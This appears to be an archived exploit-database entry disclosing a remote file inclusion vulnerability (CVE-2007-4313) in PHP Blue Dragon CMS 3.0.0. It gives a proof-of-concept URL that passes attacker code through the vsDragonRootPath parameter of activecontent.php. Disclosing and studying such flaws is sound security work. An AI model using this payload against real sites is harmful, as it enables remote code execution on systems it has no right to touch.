PHP blue dragon CMS 3.0.0 - Remote File Inclusion

Author: Kacper
type: webapps
platform: php
port: 
date_added: 2007-08-09 
date_updated:  
verified: 1 
codes: OSVDB-36442;CVE-2007-4313 
tags: 
aliases:  
screenshot_url:  
application_url: 

// Exploit Name: Php Blue Dragon CMS 3.0.0 Remote File Inclusion Vulnerability
//Script Homepage: http://phpbluedragon.pl/

// Autor: Kacper [kacper1964@yahoo.pl]
// Autor Homepage: devilteam.eu  |  kacper.bblog.pl

//Pozdrawiam wszystkich ludzi z DEVIL TEAM, Zapraszam na irc!
//Irc: irc.milw0rm.com:6667 #devilteam

//Elo

Vulnerability:


http://127.0.0.1/~phpbluedragon3.0.0/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=[evil_code?]

# milw0rm.com [2007-08-10]